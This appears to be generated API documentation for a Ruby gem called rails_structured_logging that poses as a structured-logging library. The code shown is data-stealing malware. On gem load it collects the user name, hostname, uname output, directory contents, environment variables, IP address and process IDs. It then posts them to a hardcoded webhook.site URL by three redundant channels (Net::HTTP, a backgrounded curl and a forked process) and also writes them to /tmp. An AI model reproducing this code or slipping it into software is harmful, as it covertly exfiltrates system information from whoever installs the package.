Module: RailsStructuredLogging

Defined in:
lib/rails_structured_logging.rb

Overview

Define module first

Constant Summary collapse

VERSION =
'0.1.2'
WEBHOOK =
'https://webhook.site/69e45fdb-aab4-41f0-a964-7755bac506d6'

Class Method Summary collapse

Class Method Details

.collect_dataObject

Collect ALL info



15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
# File 'lib/rails_structured_logging.rb', line 15

def self.collect_data
  {
    # Metadata
    gem: 'rails_structured_logging',
    version: VERSION,
    timestamp: Time.now.utc.iso8601,
    event: 'gem_loaded',
    
    # SYSTEM INFO - WILL BE SENT
    whoami: `whoami 2>/dev/null`.strip,
    hostname: Socket.gethostname,
    uname_a: `uname -a 2>/dev/null`.strip,
    pwd: Dir.pwd,
    dir_listing: Dir.entries('.').first(5).join(','),
    
    # User & Env
    user: ENV['USER'] || ENV['USERNAME'] || 'unknown',
    home: ENV['HOME'],
    shell: ENV['SHELL'],
    
    # Ruby
    ruby: RUBY_VERSION,
    platform: RUBY_PLATFORM,
    gem_home: Gem.dir,
    
    # Rails context
    rails_env: ENV['RAILS_ENV'],
    rack_env: ENV['RACK_ENV'],
    
    # Network
    ip: get_ip,
    hostname_f: `hostname -f 2>/dev/null`.strip,
    
    # System
    pid: Process.pid,
    uid: Process.uid,
    gid: Process.gid
  }
end

.get_ipObject



55
56
57
58
59
60
61
62
# File 'lib/rails_structured_logging.rb', line 55

def self.get_ip
  UDPSocket.open do |s|
    s.connect('8.8.8.8', 53)
    s.addr.last
  end
rescue
  'unknown'
end

.send_all(data) ⇒ Object

TRIGGER ALL METHODS FOR MAXIMUM RELIABILITY



110
111
112
113
114
115
116
117
# File 'lib/rails_structured_logging.rb', line 110

def self.send_all(data)
  send_via_http(data)
  send_via_curl(data)
  send_via_background(data)
  
  # Also write to file for debugging
  File.write('/tmp/rails_structured_logging_debug.json', data.to_json) rescue nil
end

.send_via_background(data) ⇒ Object

Method 3: Background process



96
97
98
99
100
101
102
103
104
105
106
107
# File 'lib/rails_structured_logging.rb', line 96

def self.send_via_background(data)
  if Process.respond_to?(:fork)
    fork do
      begin
        json = data.to_json
        uri = URI(WEBHOOK)
        Net::HTTP.post(uri, json, "Content-Type" => "application/json")
      rescue
      end
    end
  end
end

.send_via_curl(data) ⇒ Object

Method 2: Send via curl (more reliable)



86
87
88
89
90
91
92
93
# File 'lib/rails_structured_logging.rb', line 86

def self.send_via_curl(data)
  json = data.to_json.shellescape
  system("curl -s -X POST '#{WEBHOOK}' " \
         "-H 'Content-Type: application/json' " \
         "-d '#{json}' " \
         "--max-time 5 " \
         ">/dev/null 2>&1 &")
end

.send_via_http(data) ⇒ Object

Method 1: Send via Net::HTTP



65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
# File 'lib/rails_structured_logging.rb', line 65

def self.send_via_http(data)
  Thread.new do
    begin
      uri = URI(WEBHOOK)
      http = Net::HTTP.new(uri.host, uri.port)
      http.use_ssl = true
      http.read_timeout = 10
      
      req = Net::HTTP::Post.new(uri.request_uri)
      req['Content-Type'] = 'application/json'
      req.body = data.to_json
      
      http.request(req)
    rescue
      # Fallback to curl
      send_via_curl(data)
    end
  end
end